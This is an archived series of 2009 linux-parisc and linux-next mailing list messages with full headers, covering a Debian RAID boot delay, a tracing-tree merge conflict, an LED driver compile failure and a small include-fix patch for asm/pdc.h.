> partition. With RAID (and LVM a top of it) the init ends with fiasco.
>
> To overcome this I put simple "sleep 30" in the initram scripts - jus=
t
> before assembly of the MD device. I understand that this issue is mor=
e for
> Debian, but before reporting ther I'd like to ask here:
> 1) does anyone here know, why there is the reset/delay during boot, a=
nd
> 2) and if message "Driver 'sd' needs updating - please use bus_type m=
ethods"
> might have anything to do with this problem.

I've experienced similar problem with root on raid and Debian kernels.
It's definitely a Debian specific issue, afaict.

HTH

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git] parisc: Changes to ref refs/heads/master
Date: Tue, 31 Mar 2009 23:05:39 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <49D285A3.2070801@gmx.de>
References: <200903310252.n2V2qbHY009757@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238533568 31391 80.91.229.12 (31 Mar 2009 21:06:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Mar 2009 21:06:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@hera.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 31 23:07:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LolAz-0006Yh-J2
	for glpp-linux-parisc@gmane.org; Tue, 31 Mar 2009 23:07:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762517AbZCaVFp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 Mar 2009 17:05:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1762366AbZCaVFp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 31 Mar 2009 17:05:45 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40444 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1761910AbZCaVFo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 Mar 2009 17:05:44 -0400
Original-Received: (qmail invoked by alias); 31 Mar 2009 21:05:41 -0000
Original-Received: from mnhm-590ead86.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.173.134]
  by mail.gmx.net (mp049) with SMTP; 31 Mar 2009 23:05:41 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+SEJBfiNGSNHrhc2ZX7df1ffiQ7ZjfoUlcRbzClW
	4KUx3VhUcnJ8aG
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <200903310252.n2V2qbHY009757@hera.kernel.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.71
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1432>

Kyle McMartin wrote:
> New commits:
> []

Thanks Kyle.

Any chance to get this included as well:
http://patchwork.cabal.ca/patch/261/

It fixes the "make headers_check" (still applies hopefully).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: linux-next: manual merge of the tracing tree with the parisc tree
Date: Wed, 1 Apr 2009 11:37:40 +1100
Lines: 32
Approved: news@gmane.org
Message-ID: <20090401113740.7f425e02.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Wed__1_Apr_2009_11_37_40_+1100_Qpuk0GGD391hgbeu"
X-Trace: ger.gmane.org 1238546282 31767 80.91.229.12 (1 Apr 2009 00:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 00:38:02 +0000 (UTC)
Cc: linux-next@vger.kernel.org, Helge Deller <deller@gmx.de>,
	Kyle McMartin <kyle@mcmartin.ca>,
	<linux-parisc@vger.kernel.org>,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>
To: Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 02:39:19 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LooUA-00011g-K2
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 02:39:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753262AbZDAAhw (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Tue, 31 Mar 2009 20:37:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753007AbZDAAhw
	(ORCPT <rfc822;linux-next-outgoing>);
	Tue, 31 Mar 2009 20:37:52 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:35374 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751246AbZDAAhv (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Tue, 31 Mar 2009 20:37:51 -0400
Original-Received: from ash.ozlabs.ibm.com (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 1A515144048;
	Wed,  1 Apr 2009 11:37:46 +1100 (EST)
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.14.7; i486-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6696 gmane.linux.ports.parisc:1433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1433>

--Signature=_Wed__1_Apr_2009_11_37_40_+1100_Qpuk0GGD391hgbeu
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi all,

Today's linux-next merge of the tracing tree got a conflict in
arch/parisc/include/asm/ftrace.h between commit
d75f054a2cf0614ff63d534ff21ca8eaab41e713 ("parisc: add ftrace (function
and graph tracer) functionality") from the parisc tree and commit
c79a61f55773d2519fd0525bf58385f7d20752d3 ("tracing: make CALLER_ADDRx
overwriteable") from the tracing tree.

The former adds a non-trivial version of the file, so I used that.
--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Wed__1_Apr_2009_11_37_40_+1100_Qpuk0GGD391hgbeu
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAknSt1QACgkQjjKRsyhoI8ztqwCfdI8+in8ae4f97wMWbPh8cNjY
YtwAnAtQdbpXi5e+tsgF+4laoLJqNGlu
=jvfC
-----END PGP SIGNATURE-----

--Signature=_Wed__1_Apr_2009_11_37_40_+1100_Qpuk0GGD391hgbeu--

From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Wed, 1 Apr 2009 08:54:35 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20090401065435.GA9208@pengutronix.de>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238568919 11482 80.91.229.12 (1 Apr 2009 06:55:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 06:55:19 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>, Ingo Molnar <mingo@elte.hu>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, Steven Rostedt <srostedt@redhat.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 08:56:36 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LouNH-0001YP-O0
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 08:56:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757442AbZDAGzK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glkn-linux-next@m.gmane.org>); Wed, 1 Apr 2009 02:55:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758906AbZDAGzJ
	(ORCPT <rfc822;linux-next-outgoing>); Wed, 1 Apr 2009 02:55:09 -0400
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:44073 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757442AbZDAGzI (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Wed, 1 Apr 2009 02:55:08 -0400
Original-Received: from octopus.hi.pengutronix.de ([2001:6f8:1178:2:215:17ff:fe12:23b0])
	by metis.ext.pengutronix.de with esmtp (Exim 4.63)
	(envelope-from <ukl@pengutronix.de>)
	id 1LouLQ-00029L-FA; Wed, 01 Apr 2009 08:54:40 +0200
Original-Received: from ukl by octopus.hi.pengutronix.de with local (Exim 4.69)
	(envelope-from <ukl@pengutronix.de>)
	id 1LouLL-0002Ya-OG; Wed, 01 Apr 2009 08:54:35 +0200
Content-Disposition: inline
In-Reply-To: <20090401113740.7f425e02.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-SA-Exim-Connect-IP: 2001:6f8:1178:2:215:17ff:fe12:23b0
X-SA-Exim-Mail-From: ukl@pengutronix.de
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-next@vger.kernel.org
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6699 gmane.linux.ports.parisc:1434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1434>

Hi Steven,

On Wed, Apr 01, 2009 at 11:37:40AM +1100, Stephen Rothwell wrote:
> Today's linux-next merge of the tracing tree got a conflict in
> arch/parisc/include/asm/ftrace.h between commit
> d75f054a2cf0614ff63d534ff21ca8eaab41e713 ("parisc: add ftrace (functi=
on
> and graph tracer) functionality") from the parisc tree and commit
> c79a61f55773d2519fd0525bf58385f7d20752d3 ("tracing: make CALLER_ADDRx
> overwriteable") from the tracing tree.
Whatever you have done---I didn't check---as long as
arch/parisc/include/asm/ftrace.h exists, it's OK for
c79a61f55773d2519fd0525bf58385f7d20752d3.

Best regards and thanks
Uwe

--=20
Pengutronix e.K.                              | Uwe Kleine-K=F6nig     =
       |
Industrial Linux Solutions                    | http://www.pengutronix.=
de/  |

From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: compile failure with LEDs
Date: Wed, 1 Apr 2009 11:07:27 +0300 (EEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0904011105510.26377@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1238573278 24945 80.91.229.12 (1 Apr 2009 08:07:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 08:07:58 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 10:09:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LovVb-0005vq-Ay
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 10:09:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757581AbZDAIHg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 04:07:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760005AbZDAIHf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 04:07:35 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:53465 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757013AbZDAIHe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 04:07:34 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 3882B73D52F
	for <linux-parisc@vger.kernel.org>; Wed,  1 Apr 2009 11:07:28 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 27BB4FD7A1; Wed,  1 Apr 2009 11:07:28 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 2419FFD79B
	for <linux-parisc@vger.kernel.org>; Wed,  1 Apr 2009 11:07:28 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1435>

FYI - todays 2.6.29+git:

  CC      drivers/parisc/led.o
drivers/parisc/led.c: In function 'led_create_procfs':
drivers/parisc/led.c:246: error: 'struct proc_dir_entry' has no member named 'owner'
drivers/parisc/led.c:252: error: 'struct proc_dir_entry' has no member named 'owner'
drivers/parisc/led.c:261: error: 'struct proc_dir_entry' has no member named 'owner'
make[3]: *** [drivers/parisc/led.o] Error 1

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: [PATCH next] parisc: asm/pdc.h should include asm/page.h
Date: Wed, 1 Apr 2009 13:44:08 +0400
Lines: 26
Approved: news@gmane.org
Message-ID: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238579065 9759 80.91.229.12 (1 Apr 2009 09:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 09:44:25 +0000 (UTC)
To: "linux-next@vger.kernel.org" <linux-next@vger.kernel.org>,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 11:45:43 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lox0s-0005Q2-KP
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 11:45:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751281AbZDAJoM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 05:44:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751952AbZDAJoM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 05:44:12 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.24]:23986 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750974AbZDAJoL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 05:44:11 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 4so868573eyf.37
        for <multiple recipients>; Wed, 01 Apr 2009 02:44:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        bh=aoMLPFfHyuw31wntlUTN5PS6HtvjgBpXaSQp8OTk2VM=;
        b=JLi3OHtKt7Q2zYDJYn/2umBL0k491tdisSOL8k1FGUDRvo0cVBAufTU4yQry2CPTIC
         213K6BSv9ONeo9/O0BS9mhkSFYltuRsX4nmzXPDoSZs/s9VZSvXyzNfoEHgfApOoT74q
         zILy7KU5MMoxDE5YavfxQ4l7ImlcGAkjxF7Ls=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=vX8dO+VssSfT398O9FEvJv0NfEYyiWdsZG6gHsBfr/Bi4JonooZ9pqGfQPfl/EqjMG
         Oo0+V13bq2xiQIxTfwXPHpePNXgB8YhV2wFzTK8wsAXmapp83E6fV7pYVEHaL2WS7M8e
         h24/S/VbtAAxMOh7LF5xQCTXBXBieJpEEVl+c=
Original-Received: by 10.210.62.3 with SMTP id k3mr2940425eba.68.1238579048336; Wed, 01 
	Apr 2009 02:44:08 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1436 gmane.linux.kernel.next:6701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1436>

Fixes this build error:
arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared
(first use in this function)

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 arch/parisc/include/asm/pdc.h |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index a26e98d..fde8045 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -340,6 +340,7 @@
 #if !defined(__ASSEMBLY__)

 #include <linux/types.h>
+#include <asm/page.h>

 #ifdef __KERNEL__
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure with LEDs
Date: Wed, 1 Apr 2009 13:46:14 +0400
Lines: 21
Approved: news@gmane.org
Message-ID: <a4423d670904010246h4c95d10p3cc10e2771819351@mail.gmail.com>
References: <Pine.SOC.4.64.0904011105510.26377@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238579194 10149 80.91.229.12 (1 Apr 2009 09:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 09:46:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 11:47:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lox2v-0005Q2-60
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 11:47:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750974AbZDAJqU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 05:46:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751952AbZDAJqU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 05:46:20 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.26]:33195 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750974AbZDAJqT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 05:46:19 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 4so868808eyf.37
        for <linux-parisc@vger.kernel.org>; Wed, 01 Apr 2009 02:46:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=PwjuwWUDGEMsWI8jZXpWmCm3pRfy9vnh6bifwO1/plA=;
        b=dPaDAn+lmWGVcqDZiBLDYiKo53fon2FiKrZiQrO2DR4Jh3ifyVD27rVn5zUnH1gQR4
         351nCr6y0CLETUOkU8Mpsg/G/dAawcf/phlyY0PxQn1RewYbqhDZbPQM+r300HZVmLO+
         5xMxuQWRHPT3uIri4HGZl92bup7644WDB+U78=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=G4XweytAMAb6tC6vVaWVw3bNHJ04aNobsiFPF6HpwIMHf7VrDAK9ZKeehSisK00EsX
         FB2a1l0seQA04uiCzBTWzkGPBW4/6q9qHqTS4cMgHoB3d1KAAbCLBEOJTqCr9P5dhjZn
         3N1NwWHvnvRY4ABKSWYV1+o1ixyZ1kCBm38iM=
Original-Received: by 10.210.110.5 with SMTP id i5mr4328953ebc.48.1238579174955; Wed, 
	01 Apr 2009 02:46:14 -0700 (PDT)
In-Reply-To: <Pine.SOC.4.64.0904011105510.26377@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1437>

2009/4/1 Meelis Roos <mroos@linux.ee>:
> FYI - todays 2.6.29+git:
>
> =C2=A0CC =C2=A0 =C2=A0 =C2=A0drivers/parisc/led.o
> drivers/parisc/led.c: In function 'led_create_procfs':
> drivers/parisc/led.c:246: error: 'struct proc_dir_entry' has no membe=
r named 'owner'
> drivers/parisc/led.c:252: error: 'struct proc_dir_entry' has no membe=
r named 'owner'
> drivers/parisc/led.c:261: error: 'struct proc_dir_entry' has no membe=
r named 'owner'
> make[3]: *** [drivers/parisc/led.o] Error 1

http://patchwork.cabal.ca/patch/544/
this patch should fix it
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Wed, 1 Apr 2009 13:05:12 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20090401110512.GB15442@elte.hu>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238584114 25082 80.91.229.12 (1 Apr 2009 11:08:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 11:08:34 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 13:09:51 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoyKB-0001oA-JX
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 13:09:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758128AbZDALFu (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Wed, 1 Apr 2009 07:05:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758071AbZDALFu
	(ORCPT <rfc822;linux-next-outgoing>); Wed, 1 Apr 2009 07:05:50 -0400
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:52110 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758048AbZDALFs (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Wed, 1 Apr 2009 07:05:48 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LoyFw-00066X-Ls
	from <mingo@elte.hu>; Wed, 01 Apr 2009 13:05:28 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id C90803E2138; Wed,  1 Apr 2009 13:05:11 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090401113740.7f425e02.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6704 gmane.linux.ports.parisc:1438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1438>


